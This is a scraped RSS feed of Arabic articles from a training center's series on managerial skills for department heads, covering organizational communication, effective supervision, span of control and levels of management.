      ويتم هذا النوع من الاتصالات بين المرؤوسين والرؤساء وتكون المبادأة فيه من جانب المرؤوسين للاتصال بالرؤساء في مختلف المستويات الإدارية في المنظمة .     ويوضح الشكل التالي اتجاهات الاتصالات من أسفل إلى أعلى ، وعادة ما يتم هذا النوع من الاتصالات بغرض التقرير عن نتائج الأعمال ، وبغرض إبلاغ الرؤساء  مقترحات المرؤوسين واتجاهاتهم وآرائهم بخصوص الخطط والسياسات ، وكذا العقبات والمشاكل التي تعترض تحقيق الأهداف ومقترحاتهم بخصوص التغلب عليها . ومن خلال هذا النوع من الاتصالات يجب أن يتيح المجال للمرؤوسين أيضا لعرض مشاكلهم الخاصة والعقبات التي تعترض سبيل إشباع حاجاتهم .

5/1/3 الاتصال الأفقي .

     يقصد بالاتصالات الأفقي تلك الاتصالات التي تتم بين الأفراد الذين يوجدون في مستويات تنظيمية متناظرة داخل المنظمة ، وفي الغالب ما يتم هذا النوع من الاتصالات لأغراض التنسيق والتعاون ، ويوضح الشكل التالي اتجاهات الاتصالات الأفقية . ومن أمثلة الاتصالات الأفقية الاتصالات التي تتم بين مديري الإدارات أو رؤساء الأقسام ، أو العاملين في نفس المستوى بالأقسام المختلفة . فلابد مثلا أن يكون هناك تنسيق بين مدير الإنتاج ومدير المبيعات فيما يتعلق بجداول الإنتاج والمبيعات ونفس الشيء بين مدير الإنتاج ومدير المشتريات حتى يمكن وضع خطط الشراء بالشكل الذي يضمن حسن سير العمليات الإنتاجية من ناحية وتحقيق الاقتصاد في عملية الشراء من ناحية أخرى وهكذا . 

5/2 الاتصالات غير الرسمية :

تكون الاتصالات غير الرسمية بين الأفراد أعضاء التنظيمات أو الجماعات غير الرسمية والتي تظهر داخل التنظيم الرسمي نتيجة للعلاقات الشخصية والاجتماعية التي تنشأ بين هؤلاء الأفراد لإشباع حاجات ورغبات لا يقوم التنظيم الرسمي بإشباعها لهم ، والاتصالات غير الرسمية تتم بين مستويات مختلفة داخل المنظمة متخطية بذلك خطوط السلطة الرسمية وهى لا تخضع لقواعد وإجراءات مثبتة مكتوبة ورسمية . وقد تتخذ شكلا سريا أو علنيا وفقا للظروف.

   هذا وتعتبر الاتصالات غير الرسمية مكملة للاتصالات الرسمية ، إلا أن الاتصالات غير الرسمية تعد أقوى من الاتصالات الرسمية في كثير من الأحيان حيث عن طريقها يتمكن قادة المنظمات من التعرف على حقيقة مشاعر واتجاهات وأحاسيس المرؤوسين التابعين لهم مما يمكنهم من اتخاذ الإجراءات المناسبة للتعامل مع كل منهم بما يناسبه من أساليب مشجعة ومشبعة لحاجاته ورغباته أو أساليب رادعة لأي سلوك ضار بأهداف الأطراف ذات المصلحة بالمنظمة .

 

5/3 الاتصالات المكتوبة :

     الاتصالات المكتوبة هي ذلك النوع من الاتصالات التي تعتمد على وسيط مادي معين مثل الورق بأنواعه المختلفة ، وشاشات الحاسب الآلي كوسيلة لنقل مضمون الاتصال الذي يتم صياغته إما بالكلمات ، أو الصور ، أو الرسوم البيانية والتوضيحية ، أو ببعض أو كل طرق الصياغة السابقة .

*   *   *

انتهت بحمد الله المقالة الرابعة من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-4/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثالثة https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-3/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-3/#respond Fri, 07 Apr 2023 14:17:38 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10408 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الثالثة أساليب الإشراف الفعال : =============  مفهوم الإشراف :      يقصد بالإشراف في أبسط مفهوم هو إنجاز الأعمال من خلال الآخرين . كذلك هو الاطمئنان إلى قيام الأفراد بواجباتهم ومسؤولياتهم على الوجه المطلوب هو الجهد الذي يبذله المسئول عن الفريق لمساعدة أعضائه على أداء […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الثالثة

أساليب الإشراف الفعال :

=============

 مفهوم الإشراف :

     يقصد بالإشراف في أبسط مفهوم هو إنجاز الأعمال من خلال الآخرين . كذلك هو الاطمئنان إلى قيام الأفراد بواجباتهم ومسؤولياتهم على الوجه المطلوب هو الجهد الذي يبذله المسئول عن الفريق لمساعدة أعضائه على أداء وظائفهم كاملة ودفعهم إلى تحقيق كافة الأهداف المنشودة وتوجيههم إلى كيفية التغلب على المشكلات والعقبات التي قد تعترضهم أثناء أداء عملهم علاوة على التنسيق بين جهود العاملين ونقل الخبرات بينهم ومساعدتهم على التطور .

 

مستويات الإشراف :

يمارس الإشراف في جميع مستويات المنظمة العليا والوسطى والتنفيذية وتتعاظم اللغة الإشرافية كلما ارتقينا في السلم الإداري .

 

نطاق الإشراف :

     يعبر نطاق الإشراف عن عدد المرؤوسين الذين يمكن لرئيس واحد أن يشرف عليهم بطريقة مباشرة . وهناك خلاف بين علماء الإدارة حول العدد الأمثل لنطاق الإشراف فالبعض يرى أنه ثلاثة مرؤوسين وهناك من يرى أنه ما بين سبعة إلى ثلاثة عشر مرؤوساً . وهناك عدد من العوامل تؤثر في عدد المرؤوسين في عملية الإشراف عليهم .  وهناك علاقة بين نطاق الإشراف وعدد المستويات الإدارية في الشركة . الإدارة العليا الإدارة الوسطى الإدارة التنفيذية

 

 

 

 

العوامل المؤثرة في نطاق الإشراف :

تتمثل أهم العوامل التي تؤثر في نطاق الإشراف فيما يلي :طبيعة نشاط القسم أو الإدارة أو المنظمة ودرجة التخصص التي تتبعها في تقييم إداراتها و أقسامها . وطبيعة العمل الذي يؤديه المرؤوسين وما يتطلبه هذا العمل من مهارات قدرات .بالإضافة إلي القدرات و المهارات التي يمتلكها الرئيس فكلما زادت هذه المهارات أمكنه الإشراف على عدد أكبر من المرؤوسين . التكاليف التي تترتب على نطاق الإشراف .

 

مسئوليات المشرف :

يمكن تقسيم المسئوليات التي تقع علي عاتق المشرف علي النحو التالي :

 

أ-مسئوليات تجاه الإدارة العليا:

 وتتمثل مسئوليات المشرف تجاه الإدارة العليا فيما يلي :تطبيق السياسة العامة للمنظمة – مساعدة الإدارة العليا في التأكد أن الأداء يتم وفق الخطط الموضوعة . – مساعدة الإدارة العليا في عملية التخطيط واتخاذ القرارات .

ب-مسئوليات تجاه المرؤوسين :

تتمثل مسئوليات تجاه المرؤوسين فيما يلي : تدريب المرؤوسين . – توجيه المرؤوسين . – تحفيز المرؤوسين . – حفظ النظام . – تقويم الأداء . – نقل أفكار المرؤوسين للإدارة العليا .

ج-مسئوليات تجاه نفسه :

     ويقصد بها إهتمام المشرف بتنمية الصفات الشخصية مثل : الثقة بالنفس ، الصبر , الحزم والاهتمام بتنمية المهارات والأساليب الخاصة بالتفويض وتطوير فريق العمل.

 

ما هي صفات المشرف الفعال ؟

تتمثل أهم صفات المشرف الفعال فيما يلي :

  • القدرة على إثارة الحماس في المرؤوسين من حوله ..
  • القدرة على صياغة ,وضع أهداف طموحة لقسمه ولمرؤوسيه .
  • التعامل مع مرؤوسيه بأمانة وشفافية .
  • الاستقامة والإخلاص في عمله .
  • الإنجاز السريع للمهام .
  • الرغبة الصادقة في إنجاح الآخرين .
  • إتساع الأفق .
  • الإهتمام الدائم بالتنمية الذاتية .
  • السخاء الفكري
  • الشجاعة في تحمل المخاطر .
  • القدرة علي تفهم وجهات نظر الآخرين وظروفهم.

 

ما هي الأشياء التي تخرج رئيس القسم من دائرة الإشراف الفعال؟

  • التوبيخ بصوت عال للمرؤوس في حضور الآخرين .
  • الانحياز تجاه أفراد معينين في العمل .
  • التعليمات السيئة  غير الواضحة أو الناقصة.
  • عدم شرح مواعيد إنهاء العمل مقدماً .
  • استخدام بعض المرؤوسين ككبش فداء لأخطائه .
  • عدم الاعتراف بالأخطاء .
  • الفشل في حماية ودعم المرؤوسين والنضال من أجلهم
  • تصيد الأخطاء في كل ما يقوم به المرؤوسين .
  • التدخل في الشئون الشخصية للمرؤوسين.
  • المغالاة في الإشراف بمعني ملاحظة كل شيء يقـــوم المرؤوسين به عن كثب .
  • الفشل في تفويض السلطة للمرؤوسين .
  • عدم الثقة في المرؤوسين تماماًً . اغتياب أحد المرؤوسين مع موظف آخر .
  • عدم الاعتراف بمجهود المرؤوسين .
  • الفشل في توفير المواد أو الاحتياجات المطلوبة .
  • عدم القدرة على اتخاذ قرارات حاسمة وفورية
  • معاملة مرؤوسيه على أنهم أدني منه وليسوا زملاء .
  • عدم إعطاء المرؤوسين الفرصة لإثبات تفوقهم .
  • عدم الإلمام بالعمل الذي يشرف عليه .
  • الخوف من التغيير ورؤية ضيقة للمستقبل .
  • د حجب المعلومات عن المرؤوسين .
  • عدم الإصغاء لهم أثناء الحديث معهم .
  • عدم التطبيق العادل نظام الحوافز.
  • النقد الشخصي وليس النقد البناء .
  • عدم إشراك المرؤوسين في حل المشكلات وصنــع القرارات والتخطيط لأهداف القسم وأهداف المؤسسة .
  • التقليد الاعمى للمشرفين السابقين له .
  • عدم إقامة علاقات ودية مع المرؤوسين .
  • قطع وعوداً على نفسه لا يستطيع الوفاء بها .
  • نسب أفكار المرؤوسين لنفسه .
  • الاستئثار بالمميزات كالدورات التدريبية وخارج الدوام .

 

الأعمدة السبعة للإشراف الفعال؟

الأول : يجب أن يشرح للمرؤوسين بوضوح ما هو المتوقع منهم : عندما يبدأ فرداً جديداً العمل لأول مرة فإنه في العادة يتشوق لمعرفة المنظمة التي يدخلها والعمل المفروض القيام به ، أي ما ستكون وظيفته المحددة ، وينتهز المشرف الفعال هذا الاهتمام المبدئي ومدى استعداد الفرد الجديد ، لذا يجب علي المشرف أن يوضح له العناصر الأولية المطلوبة مع بداية العمل وهي : الهيكل التنظيمي للمنظمة ، وطريقة التشغيل ، ونوع العمل فيها ونبذة عن تاريخها وأسلوب الترقية الذي يستخدم مع العاملين . طبيعة عمله المحدد وصلة عمله بأعمال زملائه الموظفين ، ونوع السلطة التي سيمارسها إذا كانت ثمة سلطات ، وكذلك المسئول عن الإشراف عليه . ومكان الحصول علي المواد التي قد يحتاجها وموقع ومكان عمله وقواعد العمل في المنظمة . وهذه القواعد تشمل موعد صرف المرتبات وبداية العمل ونهايته، ووقت الراحة وفترة الغذاء والإجازات ، وغيرها من القواعد الخاصة بالمنظمة علي وجه التحديد . معايير وكيفية قياس الكم في عمله ، حتى لا تختلف معايير الأداء من مشرف لآخر . معايير الجودة في عمله ، حتى لا يكون الكم علي حساب الكيف . تابع

الثاني : يجب أن يتوفر الإرشاد للأفراد في أداء أعمالهم : يستخدم الإرشاد كثيراً للنهوض سريعاً بالمستخدمين الجدد في وقت قصير، وهذا النوع يساعد على الإلمام بالمعارف والمهارات والاتجاهات الأساسية اللازمة للإنتاج ويوضح الارشاد للمستخدم النقاط التالية : المعلومات العامة عن المنظمة والتي يحتاجها كل فرد . معلومات التخصص الفنية أو الخاصة ، والتي تمكنه من أداء الوظيفة المكلف بها .

المعلومات الخاصة بالأساليب التي تختلف مع كل نوع من انواع العمل، والمشرف الفعال هو الذي يتأكد أن كل موظف من موظفيه يعرف أفضل الطرق لإنجاز عمله الخاص . ومن أمثلة ذلك : كيفية الاستماع . أسلوب الكلام . كيفية الكتابة . أسلوب القراءة . كيفية تنظيم العمل . أسلوب جدولة النشاط . كيفية إدارة الوقت .

الثالث : التدريب المستمر علي الارتقاء بالشخصية : ان تقديم المشرف لمقترحات تنمية الشخصية يتطلب معالجة ماهرة للأمور، فلكل كائن بشري نقاط ضعف، ويعترف كل واحد تقريباً أنه ليس منزهاً عن الخطأ، ومع ذلك إذا أبرزت لفرد معين خطأ محدداً فإنه يسبب لك المتاعب، وكثيراً ما ينكر الشخص الانتقاد الموجه له في حدة رغم أنه أحياناً يفاجئك بالاعتراف به . وقد يكون الشخص كسولاً، أو كثير الثرثرة أو متقلب الطباع، أو حاد المزاج أو متسرعاً في اتخاذ القرارات أو ما شابه ذلك، والمشكلة أنه دائماً لا يعترف بهذه الأشياء حتى لنفسه . ومع ذلك فإن كل إنسان له حق المساعدة من مشرفه، وخصوصاً التغلب علي نقاط الضعف في شخصيته .

إن المشرف الفعال يحرص علي أن يتلقي كل رجل من رجاله التشجيع المفيد بطريقة أو بأخرى للتغلب علي خطأ في الشخصية يعوق التعبير الكامل عن القدرة، والنجاح في ذلك يعتمد علي معرفة العناصر التالية واستخدامها : اعتراف الشخص أن به خطأ . منع اليأس الكامل بخصوص إصلاح الخطأ . المساعدة البناءة والتشجيع علي التخلص منه . ولتحقيق هذا لابد للمشرف من فهم طباع العاملين ، ومعرفة الجوانب النفسية ومداخل الشخصية لكل منهم ، وبالتالي تكون النصيحة المقدمة لأى منهم في الشكل الذي يتقبله . تابع

الرابع : يجب تقدير العمل الجيد دائما، وفي نفس وقت ادائه : إن تقدير العمل الجيد هو إحدى سمات المشرف الفعال ، وكذلك عدم تقدير العمل الجيد سمه من سمات الإشراف السيئ . ومن بعض الطرق التي يستطيع بها المشرف تقدير العمل الجيد ما يلي : قل له علي الفور أنه قام بعمل طيب والأفضل أن يتم ذلك في حضور زملائه . قدم له فوراً خطاب شكر وأحرص علي إرفاقه بملف خدمته . امنحه شهادة امتياز من أي نمط تستخدمه المنظمة .  إمنحه مكافأة نقدية أو علاوة . إمنحه ميدالية أو شهادة علاوة علي المكافآت النقدية . قم بترقيته إلي وظيفة أفضل يكون مؤهلاً لها إذا كنت تملك ذلك . لا تنسى أن نوعية التقدير لابد أن تتناسب مع درجة الامتياز في أداء العمل وأن تقدير الأعمال التي يقوم بها أحد أعضاء الفريق هي في الحقيقة محفزاً لباقي الأعضاء . كما أن العمل غير الجيد يستحق النقد البناء حتى لا يتكرر : فكما سبق أن طالبنا الإشادة بالعمل الجيد أيضا ً لابد من توجيه النقد البناء الى المخطأ بما يمكنه من تعديل اسلوب عمله بما يحقق النتائج المرجوه . وعكس ما طالبنا به من علانية الاشادة بالعمل الجيد ففي حالة الخطأ يجب توجيه النقد علي انفراد . حيث أن النقد العلني الذي يتلقاه الموظف يتضخم بنسبة عدد الأشخاص الآخرين الذين سمعوه . ومع ذلك لا يكفي ان يكون النقد محصوراً في الجلسات الخاصة بين المشرف وأحد موظفيه . لكن يجب أن يكون النقد بناء  بمعني أن تكون الوسيلة المصححة للعمل مرتبطة بالنقد مباشرة. فالموظف الذي ينتقد نقداً لاذعاً أو يوبخ بلا رحمة قد يظل يتأجج غيظاً لشهور بسبب ذلك، وقد لا يتغلب عليها لمدة طويلة ربما لسنيين . ومن المحتمل أن ينفس عن استيائه بإنجاز قدر اقل . لا تنسي أبداً أن هدف المشرف هو جعل الموظفين يعملون بأقصى طاقة ممكنة . وعندما يقومون بعمل دون المستوي، واجبه هو حثهم علي القيام بعمل افضل . تذكر أن هدف المشرف دائماً كيف يطور مجهودات العاملين معه . تابع

الخامس : أن يتمتع الأفراد بالفرص نظراً لاستعدادهم لقبول مسئوليات أكبر : الوظائف المرموقة في أي منظمة دائماً ما تكون شاغرة نظراً لأن شاغلي تلك الوظائف هم من أصحاب الفكر الإداري الذى لابد من استغلاله في وظائف أعلي وهم من الفاعلية بحيث تكون ترقياتهم سريعة بحال، وسيكون علي أفراد جدد شغل هذه الوظائف . وعلي كل منظمة أن تكون مستعدة لملء أي وظيفة أو كل الوظائف حين تخلو وأن يكون لديها دائماً قائمة انتظار لمن يصلحون لملء هذه الوظائف، ويتطلب ذلك أن يستغل المشرفون كل فرصة لحث رجالهم علي إظهار ما يمكنهم عمله . وحين يسمح الوقت لشغل وظيفة شاغرة فليس هناك ضرورة للحيرة لأن أفضل الموظفين معروفون بالفعل لأنهم تلقوا التدريب واظهروا قدراتهم وأصبحوا ضمن قائمة الانتظار، والمشكلة الوحيدة هي اختيار أفضلهم تأهيلاً . وفي هذا الصدد نؤكد بالطبع ان الأقدمية وحدها ليست هي أفضل معيار للترقية ، بل علي العكس من ذلك يجب أن يمنح الأفضل تأهيلاً فرصة الترقي بغض النظر عن السن . ونري ذلك بوضوح في الفرق الرياضية علي سبيل المثال، حيث يتمكن المدير الفني من توفير عناصر جاهزة في كافة المراكز ، تمكنه من مواجهة أي إصابات أو خلل يصيب الفريق وبالتالي يمكن تعويضه في أسرع وقت . تابع

السادس : يجب أن يشجع الأفراد علي تنمية أنفسهم : كلما ارتفعت ثقافة الفرد كلما كان أفضل تأهيلاً لحل المشاكل الجديدة بنجاح والثقافة لا نعني بها الدرجة العلمية ، ولكن القدر الكبير من المعلومات وخاصة في مجال عمله . فالتعليم لا ينتهي أبداً قبل أن تنتهي حياتنا . وليس هناك ما يحل محله فإما أن نستمر في التعلم وتزيد مقدرتنا علي حل المشاكل الجديدة او نصاب بالركود فليس ثمة طريق وسط، وبما أن التطور الهائل في كمية المعلومات وطرق وسرعة نقلها في الوقت الراهن يتزايد ، فإن التوقف عن التعلم ومعرفة كل ما هو جديد يساهم في زيادة تخلف الفرد . ويستطيع الفرد تنمية عقله وقدراته بوسائل عديدة منها القراءة والمناقشة – خاصة مع أشخاص أكثر كفاءة منه – وبالتعبير عن نفسه بالكتابة وبطرق أخري ، والمشرف الفعال هو الذي يحفز رجاله علي الاستمرار في تشوقهم إلي التعليم وزيادة المعرفة والاستعداد للأفكار الجديدة النافعة وكذلك توفير التدريب الجيد لهم سواء بإتاحة دورات تدريبية او بالتدريب علي رأس العمل . لا تنسى أن تحفيز الناس يحتاج إلي مهارة فائقة وتفكير سليم، واستخدام أكثر الطرق ابتكاراً لتحقيق هذا الواجب .

السابع : يجب أن يعمل الأفراد في ظروف صحية آمنة : غالباً ما يغفل المشرف عن تحقيق بيئة وظروف عمل آمنة ويتعاظم هذا الطلب حين يكون العمل قائماً على الالات والمعدات والأجهزة الآلية . وهناك اعتراف أيضا بالمسئولية حيث يشترك الناس في عمل بدني ثقيل، وقلما نجد المشرفين علي وعي بإجراءات الأمن والسلامة الضرورية في أي مكتب عمل عادي . الإضاءة والتهوية ومكان العمل والجلوس الصحيح وتوفير الأجهزة المكتبية الملائمة، كما أن ترتيب وتنظيف مكان العمل ومعرفة استخدام الآلات المكتبية الحديثة، كل ذلك يساهم في تحقيق الظروف الصحية الآمنة التي تساهم في توفير جودة المكان، مما يساهم في توفير جودة الأداء

 

مصادر القوة التي يمارسها رئيس القسم كمشرف :

===========================     

  1. قوة الشخصية وهي بمثابة الصفات والقدرات والمهارات.
    2. قوة السلطة وهي القوة التي تنبعث من المنصب ومرتبطة به.
    3.  قوة الخبرة وهي معرفة الأساليب والطرق لتنفيذ الأعمال إضافة إلى المعلومات.


* اظهر بصورة قوية:
وعلى المشرف أن يظهر أمام مرؤوسية بصورة الواثق الممسك بزمام الأمور، وأن العمل يسير قدمًا، وأن القرارات تُتخذ بشكل ملائم.
1.  الظهور بمظهر لائق.
2.  تحرك بنشاط وحيوية.
3.  شارك بالأحاديث الطريفة.
4.  اتخذ القرارات بثقة.
5.  عالج المشاكل بهدوء.
6.  أظهرِ القدرة على الاتصال بالإدارة لزيادة أمنهم.
7.  اتخذْ مواقف إيجابية.

 قلّلْ من استخدام قوة المنصب:
تُعدّ قوة المنصب امتيازاً مؤقتاً يزول بزوال المنصب، لذا عند تعيينك كمشرف تذكر أن قوة المنصب والشخصية لم تتكون بعد، لذا استخدم قوة المنصب بحكمة.

* استخدم قوة خبرتك:
تعدّ قوة الخبرة وسيلة لممارسة فن القيادة، وأنت كمشرف يجب عليك أن تشارك بخبراتك مع الموظفين، لكي تكسب احترامهم وتقديرهم.

* الأفعال أبلغ من الأقوال:
على المشرف أن يتقن الاتصالات غير اللفظية ومنها:
1.  المصافحة: المصافحة بقوة وثبات تدل على الثقة بالنفس والرغبة في الاتصال.
2.  الضحكة المناسبة بشكل عام تعدّ جيدة فيما عدا القهقهة في مجال العمل.
3.  تعبيرات الوجه كحركات العين استخدمها بالشكل الذي يجعلك مقبولاً للآخرين.
4. الوضعية الهادئة والمسترخية تدل على الخيرة والاستعداد لمواجهة الصعاب.
5. الحركات المناسبة في المواقف المناسبة؛ لأن الإكثار من الحركات لا يريح الآخرين.
6. الاتصال البصري مع المتحدث معك تشعر باهتمامك به وبرغبتك بالاتصال.
* المهم أن تكون منظمًا:
يُعدّ التنظيم من أوليات عمل المشرف بل ركيزة أساسية لنجاح عمله؛ لأن المشرف المنظم سوف يخطط ويفوض ويعمل بشكل منظم والعكس صحيح.

*   *   *

انتهت بحمد الله المقالة الثالثة من مسار كيم التعليمى للمهارات الإدارية لرؤساء الأقسام

إعداد / مركز كيم

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-3/feed/ 0 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثانية https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-2/ https://cameknowledge.camecenter.com/articles/administrative_skills_for_heads_of_departments-2/#respond Fri, 07 Apr 2023 13:48:41 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10405 سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام إعداد/ مركز كيم  المقالة الثانية المستويات الإدارية ودور رؤساء الأقسام كحلقة وصل بين المستويات الإدارية المختلفة   تتمثل المستويات الإدارية في التنظيم الرسمي في المنظمات على إختلاف أنواعها في ثلاث مستويات أساسية هي : مستوي الإدارية العليا: يمثل هذا النوع قمة المستوى الإداري في التنظيم حيث تتركز فيه […]

The post سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام – إعداد/ مركز كيم – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – المهارات الإدارية لرؤساء الأقسام

إعداد/ مركز كيم 

المقالة الثانية

المستويات الإدارية ودور رؤساء الأقسام كحلقة وصل بين المستويات الإدارية المختلفة

 

تتمثل المستويات الإدارية في التنظيم الرسمي في المنظمات على إختلاف أنواعها في ثلاث مستويات أساسية هي :

  • مستوي الإدارية العليا: يمثل هذا النوع قمة المستوى الإداري في التنظيم حيث تتركز فيه جميع السلطات والصلاحيات، كما تمارس فيه أهم الوظائف الإدارية، ويعتبر هذا المستوى المسؤول أمام الجهات الأخرى حول المنتجات التي تقدمها المنظمة. على مستوى الإدارة العليا هناك مسميات وظيفية مثل: رئيس مجلس الإدارة ورؤساء القطاعات والمدراء العموم.

     ويقوم المديرين في هذا المستوى بأعمال التخطيط الاستراتيجي، وعقد الاجتماعات، ودراسة وحل المشكلات الكبرى الرئيسية، ودراسة واتخاذ القرارات الكبرى، ويتعامل مع مدى زمني كبير.

 

  • مستوى الإدارة الوسطى: يمثل هذا المستوى حلقة الوصل بين الإدارة العليا والإدارة التنفيذية، فهو بمثابة الجسر الذي تعبر بواسطته جميع النشاطات داخل الجهادز الإداري، ويضم هذا المستوى مديري الإدارات ومساعديهم . وعلى مستوى الإدارة الوسطى المسمى الوظيفي يكون مدير إدارة. ويتميز المديرون في هذا المستوى بالتركيز على إنجاز النتائج المتعلقة بإداراتهم ووضع الخطط التي تسهم في تحقيق الأهداف النهائية والرقابة وتوجيه المستوى الأدنى.

 

  • مستوي الإدارة التنفيذية: يمثل هذا المستوى قاعدة الهرم الإداري ويشتمل على الوظائف التنفيذية والإشرافية في الجهاز الإداري . وعلى مستوى الإدارة التنفيذية هناك رؤساء الأقسام ومشرفي الوحدات، وهم الذين يقومون بأعمال التنفيذ بصفة أساسية وتنحصر اهتماماتهم في التخطيط لعمل المرؤوسين واحتياجهم للعمليات الإدارية محدود نسبياً بالمقارنة بالمستويات السالفة وقراراتهم تؤثر في العمل اليومي وتختص بموضوعات محددة.

 

وبصرف النظر عن المستوى الادارى الذى يحتلة المدير فى المنظمة فانة يمارس وظائف الادارة الاربعة الرئيسية وهى
(التخطيط – التنظيم – التوجية “القيادة” – والرقابة (

وأيا كان الموقع الادارى والمستوى التنظيمى الذى بة المدير فانة يجب ان يجمع بين ثلاث قدرات مميزة للمديرين وهى

(المهارة الإدارية – المهارة الانسانية – المهارة الفنية )

وتختلف مستويات الادارة الثلاثة من حيث الاعباء والمسئوليات ولذلك تختلف اهمية كل وظيفة من وظائف الادارة تبعا للمستوى الادارى الذى ينتمى اليه المدير

ايضا بالنسبة للقدرات الادارية فكل مستوى ادارى يحتاج الى قدرات مناسبة لموقعه

 


ولفهم ذلك نلخص معنى القدرات الثلاثة فيما يلي :

(1) المهارة الإدارية : هى ضرورة توافر النظرة الشمولية لوظائف الإدارة الأساسية : التخطيط والتنظيم والتوجيه والرقابة .

(2) المهارة الانسانية : اى التعامل مع العنصر البشرى وهم المرؤوسين وكيفية دفعهم وتوجيههم وتنمية انتمائهم واخلاصهم

كما تعني المهارات الإنسانية  القدرة والحكمة في التعامل مع الأشخاص، وتتضمن فهم الحوافز وفن القيادة، وهي مهارة عامة على جميع المستويات الإدارية.

(3) المهارة الفنية : القدرة على الارتفاع بكفاءة الاداء مما يستلزم الاشراف والمتابعة واصلاح الانحرافات . كما أن المهارة الفنية تعني القدرة على استخدام الخبرة والأساليب والمعدات لإنجاز للعمل، وهي مهارة خاصة بالإدارة الوسطى، وبصورة أقوى لإدارة الإشراف التي تُعنى بتدريب وتطوير مهارات الموظفين الجدد.
وفيما يلي عرض للدور الذي يقوم به رئيس القسم كحلقة وصل بين المستويات الإدارية : – شرح أهداف القسم للعاملين على ضوء أهداف الإدارة الوسطي التابعة لها

  • إسناد الوظائف والمهام لمختلف العاملين. بالقسم واللازمة لتحقيق أهداف قسمه .
  • إعداد دليل العمل للأنشطة اليومية بالقسم .
  • وإرشاد وتوجيه العمال أثناء تنفيذ الأنشطة اليومية.
  • تقييم أداء مرؤسيه .
  • رقع تقارير دورية عن أداء قسمه للإدارة الوسطي ومن ثم للإدارة العليا .
  • مسئول عن كمية وجودة الإنتاج للقسم .
  • المحافظة على علاقة جيدة في المنظمة.
  • التواصل المستمر مع العاملين بالقسم وحل مشاكلهم .
  • رفع المقترحات للتطوير والمقدمة من المرؤوسين إلي الإدارة العليا
  • المسؤولية عن توفير التدريب اللازم للمرؤوسين بالأقسام.
  • ترتيب المواد اللازمة ، والآلات والأدوات وغيرها للحصول على النتائج المخططة.
  • إعداد تقارير دورية عن أداء العمال.
  • تحفيز المرؤوسين .
    هم بناة صورة المؤسسة لأنهم على اتصال مباشر مع العمال.

 

وتتمثل الإختصاصات الأساسية المنوطة برؤساء الأقسام فيما يلي : 

  • القيام بدور فعال في التخطيط والتنظيم والتوجيه والمراقبة لجميع نشاطات العاملين في القسم أو الأقسام التي التي يعملون بها .
  • إعداد دليل إجراءات وسياسات العمل الخاصة بالقسم وتحديثه بين الحين و الآخر .
  • التنسيق مع مختلف الأقسام في الادارة التي يعمل بها وحل مشاكل الموظفين .
  • وضع برنامج التعليم والتدريب المستمر لتأهيل وتدريب العاملين في القسم .
  • تقييم مستوى أداء العاملين في القسم و رفع التوصيات بذلك .
  • الإشراف على السجلات والقيود الخاصة بالقسم .
  • حضور الاجتماعات والندوات الخاصة بعمل القسم .
  • رفع التقارير الدورية عن نشاطات القسم .
  • مراجعة مشروع الميزانية السنوية للقسم .
  •  الاشتراك في برنامج الجودة النوعية والإشراف على تطبيق ما يخص القسم .
  •  القيام بأية مهام أخرى يكلف بها ضمن اختصاصه .

 

وفيما يلي عرض لعدد من الملامح الأساسية التي يتسم بها رؤساء الأقسام الناجحين في قيامهم بمهامهم وواجباتهم كرؤساء أقسام :

1-    طريقة التصرف، وهذه تتضمن الإشارات التي يرسلها القائد للآخرين دون أن يتحدث إليهم. فإذا ما نظر مباشرة إلى عيونهم، أو إلى أي مكان آخر أو إذا وقف أو بقي جالساً، أو إذا ابتسم أو لم يبتسم أو صافح تابعيه بحرارة أم لا، كل هذه الأمور تساعد في تشكل نظرة تابعيه له وتؤثر على قيادتهم.

2-    المقدرة على إقناع الآخرين، لابدّ هنا أن نقول: إن جميع الأفكار تكون بلا فائدة إذا لم يتم إقناع الناس بها وتم وضعها على محك العمل. ومثل هؤلاء رؤساء الأقسام يستطيعون تبسيط الأفكار المعقدة وإيصالها لتابعيهم بسهولة ويسر حتى تصبح مفهومة إلى أبسط أفراد المؤسسة.

